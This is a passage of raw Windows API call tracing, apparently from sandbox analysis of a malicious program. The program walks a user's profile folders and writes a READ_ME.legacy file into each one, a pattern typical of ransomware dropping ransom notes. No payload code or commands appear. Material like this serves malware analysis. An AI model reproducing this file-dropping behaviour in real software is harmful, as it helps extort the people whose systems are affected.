lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4204fb0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5636bd87, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0109.541] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0109.541] GetLastError () returned 0x0 [0109.541] SetLastError (dwErrCode=0x0) [0109.541] GetLastError () returned 0x0 [0109.541] SetLastError (dwErrCode=0x0) [0109.541] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0109.541] GetLastError () returned 0x0 [0109.541] SetLastError (dwErrCode=0x0) [0109.541] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d168 | out: hHeap=0x520000) returned 1 [0109.541] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d410 | out: hHeap=0x520000) returned 1 [0109.541] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0109.541] GetLastError () returned 0x0 [0109.541] SetLastError (dwErrCode=0x0) [0109.541] GetLastError () returned 0x0 [0109.541] SetLastError (dwErrCode=0x0) [0109.541] GetLastError () returned 0x0 [0109.541] SetLastError (dwErrCode=0x0) [0109.541] CreateFileW (lpFileName="\\Users\\Default.migrated\\Documents\\READ_ME.legacy" (normalized: "c:\\users\\default.migrated\\documents\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x58c [0109.560] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567508 | out: hHeap=0x520000) returned 1 [0109.560] WriteFile (in: hFile=0x58c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.561] CloseHandle (hObject=0x58c) returned 1 [0109.562] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0109.562] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0109.562] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3568 | out: hHeap=0x520000) returned 1 [0109.562] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0109.562] FindNextFileW (in: hFindFile=0x5c5dd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6811a58, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc6811a58, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc6811a58, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0109.562] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0109.562] GetLastError () returned 0x0 [0109.562] SetLastError (dwErrCode=0x0) [0109.562] GetLastError () returned 0x0 [0109.562] SetLastError (dwErrCode=0x0) [0109.562] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0109.562] GetLastError () returned 0x0 [0109.562] SetLastError (dwErrCode=0x0) [0109.562] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d3e8 | out: hHeap=0x520000) returned 1 [0109.562] FindNextFileW (in: hFindFile=0x5c5dd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6811a58, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc6811a58, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc6811a58, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0109.562] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0109.562] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d10 | out: hHeap=0x520000) returned 1 [0109.562] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d38 | out: hHeap=0x520000) returned 1 [0109.562] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc6811a58, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc6811a58, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c5e98 [0109.563] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0109.563] GetLastError () returned 0x12 [0109.563] SetLastError (dwErrCode=0x12) [0109.563] GetLastError () returned 0x12 [0109.563] SetLastError (dwErrCode=0x12) [0109.563] GetLastError () returned 0x12 [0109.563] SetLastError (dwErrCode=0x12) [0109.563] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d6b8 | out: hHeap=0x520000) returned 1 [0109.563] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5b18 | out: hHeap=0x520000) returned 1 [0109.563] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20150 | out: hHeap=0x520000) returned 1 [0109.563] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d4b0 | out: hHeap=0x520000) returned 1 [0109.563] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5670a8 | out: hHeap=0x520000) returned 1 [0109.563] FindNextFileW (in: hFindFile=0x5c5e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc6811a58, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc6811a58, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0109.563] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0109.563] GetLastError () returned 0x12 [0109.563] SetLastError (dwErrCode=0x12) [0109.563] GetLastError () returned 0x12 [0109.563] SetLastError (dwErrCode=0x12) [0109.563] GetLastError () returned 0x12 [0109.563] SetLastError (dwErrCode=0x12) [0109.563] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0109.564] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5e58 | out: hHeap=0x520000) returned 1 [0109.564] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20090 | out: hHeap=0x520000) returned 1 [0109.564] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5f0 | out: hHeap=0x520000) returned 1 [0109.564] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671f8 | out: hHeap=0x520000) returned 1 [0109.564] FindNextFileW (in: hFindFile=0x5c5e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b5a0677, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b5a0677, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0109.564] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0109.564] GetLastError () returned 0x12 [0109.564] SetLastError (dwErrCode=0x12) [0109.564] GetLastError () returned 0x12 [0109.564] SetLastError (dwErrCode=0x12) [0109.564] GetLastError () returned 0x12 [0109.564] SetLastError (dwErrCode=0x12) [0109.564] GetLastError () returned 0x12 [0109.564] SetLastError (dwErrCode=0x12) [0109.564] GetLastError () returned 0x12 [0109.564] SetLastError (dwErrCode=0x12) [0109.564] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0109.564] GetLastError () returned 0x12 [0109.564] SetLastError (dwErrCode=0x12) [0109.564] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0109.565] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d8c8 | out: hHeap=0x520000) returned 1 [0109.565] WriteFile (in: hFile=0x590, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.566] CloseHandle (hObject=0x590) returned 1 [0109.566] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0109.566] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3548 | out: hHeap=0x520000) returned 1 [0109.566] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0109.566] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566d28 | out: hHeap=0x520000) returned 1 [0109.566] FindNextFileW (in: hFindFile=0x5c5e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0109.566] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0109.566] GetLastError () returned 0x0 [0109.566] SetLastError (dwErrCode=0x0) [0109.566] GetLastError () returned 0x0 [0109.566] SetLastError (dwErrCode=0x0) [0109.566] GetLastError () returned 0x0 [0109.566] SetLastError (dwErrCode=0x0) [0109.566] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e40 | out: hHeap=0x520000) returned 1 [0109.566] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566f20 | out: hHeap=0x520000) returned 1 [0109.566] GetLastError () returned 0x0 [0109.567] SetLastError (dwErrCode=0x0) [0109.567] GetLastError () returned 0x0 [0109.567] SetLastError (dwErrCode=0x0) [0109.567] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0109.567] GetLastError () returned 0x0 [0109.567] SetLastError (dwErrCode=0x0) [0109.567] CreateFileW (lpFileName="\\Users\\FD1HVy\\Application Data\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\application data\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0109.567] WriteFile (in: hFile=0x590, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.568] CloseHandle (hObject=0x590) returned 1 [0109.569] FindNextFileW (in: hFindFile=0x5c5e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd43ecce6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2cb2cd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Contacts", cAlternateFileName="")) returned 1 [0109.569] SetLastError (dwErrCode=0x0) [0109.569] GetLastError () returned 0x0 [0109.569] SetLastError (dwErrCode=0x0) [0109.569] GetLastError () returned 0x0 [0109.569] SetLastError (dwErrCode=0x0) [0109.569] SetLastError (dwErrCode=0x0) [0109.569] GetLastError () returned 0x0 [0109.569] SetLastError (dwErrCode=0x0) [0109.569] SetLastError (dwErrCode=0x0) [0109.569] CreateFileW (lpFileName="\\Users\\FD1HVy\\Contacts\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\contacts\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0109.570] WriteFile (in: hFile=0x590, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.571] CloseHandle (hObject=0x590) returned 1 [0109.571] FindNextFileW (in: hFindFile=0x5c5e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Cookies", cAlternateFileName="")) returned 1 [0109.571] SetLastError (dwErrCode=0x0) [0109.571] GetLastError () returned 0x0 [0109.571] SetLastError (dwErrCode=0x0) [0109.572] GetLastError () returned 0x0 [0109.572] SetLastError (dwErrCode=0x0) [0109.572] SetLastError (dwErrCode=0x0) [0109.572] GetLastError () returned 0x0 [0109.572] SetLastError (dwErrCode=0x0) [0109.572] SetLastError (dwErrCode=0x0) [0109.572] CreateFileW (lpFileName="\\Users\\FD1HVy\\Cookies\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\cookies\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0109.573] WriteFile (in: hFile=0x590, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.574] CloseHandle (hObject=0x590) returned 1 [0109.574] FindNextFileW (in: hFindFile=0x5c5e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9a7d7a61, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0x9a7d7a61, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Desktop", cAlternateFileName="")) returned 1 [0109.574] SetLastError (dwErrCode=0x0) [0109.574] GetLastError () returned 0x0 [0109.574] SetLastError (dwErrCode=0x0) [0109.574] GetLastError () returned 0x0 [0109.574] SetLastError (dwErrCode=0x0) [0109.575] SetLastError (dwErrCode=0x0) [0109.575] GetLastError () returned 0x0 [0109.575] SetLastError (dwErrCode=0x0) [0109.575] SetLastError (dwErrCode=0x0) [0109.575] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0109.575] WriteFile (in: hFile=0x590, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.593] CloseHandle (hObject=0x590) returned 1 [0109.594] FindNextFileW (in: hFindFile=0x5c5e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x943244c6, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0x943244c6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0109.594] SetLastError (dwErrCode=0x0) [0109.594] GetLastError () returned 0x0 [0109.594] SetLastError (dwErrCode=0x0) [0109.594] GetLastError () returned 0x0 [0109.594] SetLastError (dwErrCode=0x0) [0109.595] SetLastError (dwErrCode=0x0) [0109.595] GetLastError () returned 0x0 [0109.595] SetLastError (dwErrCode=0x0) [0109.595] SetLastError (dwErrCode=0x0) [0109.595] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0109.598] WriteFile (in: hFile=0x590, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.604] CloseHandle (hObject=0x590) returned 1 [0109.604] FindNextFileW (in: hFindFile=0x5c5e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc19bd8f2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc19bd8f2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0109.604] SetLastError (dwErrCode=0x0) [0109.604] GetLastError () returned 0x0 [0109.604] SetLastError (dwErrCode=0x0) [0109.605] GetLastError () returned 0x0 [0109.605] SetLastError (dwErrCode=0x0) [0109.605] SetLastError (dwErrCode=0x0) [0109.605] GetLastError () returned 0x0 [0109.605] SetLastError (dwErrCode=0x0) [0109.605] SetLastError (dwErrCode=0x0) [0109.605] CreateFileW (lpFileName="\\Users\\FD1HVy\\Downloads\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\downloads\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0109.613] WriteFile (in: hFile=0x590, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.616] CloseHandle (hObject=0x590) returned 1 [0109.617] FindNextFileW (in: hFindFile=0x5c5e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd4499d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0109.617] SetLastError (dwErrCode=0x0) [0109.617] GetLastError () returned 0x0 [0109.617] SetLastError (dwErrCode=0x0) [0109.618] GetLastError () returned 0x0 [0109.618] SetLastError (dwErrCode=0x0) [0109.618] SetLastError (dwErrCode=0x0) [0109.618] GetLastError () returned 0x0 [0109.618] SetLastError (dwErrCode=0x0) [0109.618] SetLastError (dwErrCode=0x0) [0109.618] CreateFileW (lpFileName="\\Users\\FD1HVy\\Favorites\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\favorites\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0109.621] WriteFile (in: hFile=0x590, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.624] CloseHandle (hObject=0x590) returned 1 [0109.625] FindNextFileW (in: hFindFile=0x5c5e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9463e5c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Links", cAlternateFileName="")) returned 1 [0109.625] SetLastError (dwErrCode=0x0) [0109.625] GetLastError () returned 0x0 [0109.625] SetLastError (dwErrCode=0x0) [0109.625] GetLastError () returned 0x0 [0109.625] SetLastError (dwErrCode=0x0) [0109.625] SetLastError (dwErrCode=0x0) [0109.625] GetLastError () returned 0x0 [0109.625] SetLastError (dwErrCode=0x0) [0109.625] SetLastError (dwErrCode=0x0) [0109.625] CreateFileW (lpFileName="\\Users\\FD1HVy\\Links\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\links\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0109.631] WriteFile (in: hFile=0x590, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.632] CloseHandle (hObject=0x590) returned 1 [0109.632] FindNextFileW (in: hFindFile=0x5c5e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0109.632] SetLastError (dwErrCode=0x0) [0109.632] GetLastError () returned 0x0 [0109.632] SetLastError (dwErrCode=0x0) [0109.632] GetLastError () returned 0x0 [0109.632] SetLastError (dwErrCode=0x0) [0109.632] FindNextFileW (in: hFindFile=0x5c5e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x94396afd, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0x94396afd, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Music", cAlternateFileName="")) returned 1 [0109.632] SetLastError (dwErrCode=0x0) [0109.632] GetLastError () returned 0x0 [0109.633] SetLastError (dwErrCode=0x0) [0109.633] GetLastError () returned 0x0 [0109.633] SetLastError (dwErrCode=0x0) [0109.633] SetLastError (dwErrCode=0x0) [0109.633] GetLastError () returned 0x0 [0109.633] SetLastError (dwErrCode=0x0) [0109.633] SetLastError (dwErrCode=0x0) [0109.633] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\music\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0109.633] WriteFile (in: hFile=0x590, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.635] CloseHandle (hObject=0x590) returned 1 [0109.635] FindNextFileW (in: hFindFile=0x5c5e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0109.635] SetLastError (dwErrCode=0x0) [0109.635] GetLastError () returned 0x0 [0109.636] SetLastError (dwErrCode=0x0) [0109.636] GetLastError () returned 0x0 [0109.636] SetLastError (dwErrCode=0x0) [0109.636] SetLastError (dwErrCode=0x0) [0109.636] GetLastError () returned 0x0 [0109.636] SetLastError (dwErrCode=0x0) [0109.636] SetLastError (dwErrCode=0x0) [0109.636] CreateFileW (lpFileName="\\Users\\FD1HVy\\My Documents\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\my documents\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 